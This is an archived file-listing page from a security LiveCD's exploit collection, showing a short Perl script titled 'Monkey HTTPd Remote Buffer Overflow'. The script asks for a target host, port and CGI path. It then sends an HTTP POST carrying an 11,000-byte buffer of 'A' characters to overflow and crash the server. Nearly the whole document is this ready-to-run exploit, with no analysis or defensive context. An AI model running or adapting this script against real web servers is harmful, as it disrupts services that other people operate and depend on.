home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / monkey / monkey-nuke.pl < prev    next >
Perl Script  |  2005-02-12  |  731b  |  23 lines

  1. #!/usr/bin/perl
  2. # monkey-nuke.pl
  3. # Monkey HTTPd Remote Buffer Overflow
  4. # Discovery/Exploit by Matthew Murphy
  5. use IO::Socket;
  6. print STDOUT "What host to connect to \[\]\: ";
  7. $host = trim(chomp($line = <STDIN>));
  8. print STDOUT "What port to connect to \[80\]\: ";
  9. $port = trim(chomp($line = <STDIN>));
  10. $addr = "$host\:$port";
  11. print STDOUT "What script to submit to \[\/cgi-bin\/test\.pl\]\: ";
  12. $script = trim(chomp($line = <STDIN>));
  13. $buffer = "A"x11000;
  14. $exploit = "POST /$script HTTP/1.0\r\n";
  15. $exploit.= "Content-Type: application/x-www-form-urlencoded\r\n";
  16. $exploit.= "Content-Length: 11000\r\n\r\n";
  17. $exploit.= "$buffer\r\n\r\n";
  18. $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$addr);
  19. print $f $exploit;
  20. sleep 5;
  21. undef $f;
  22.  
  23.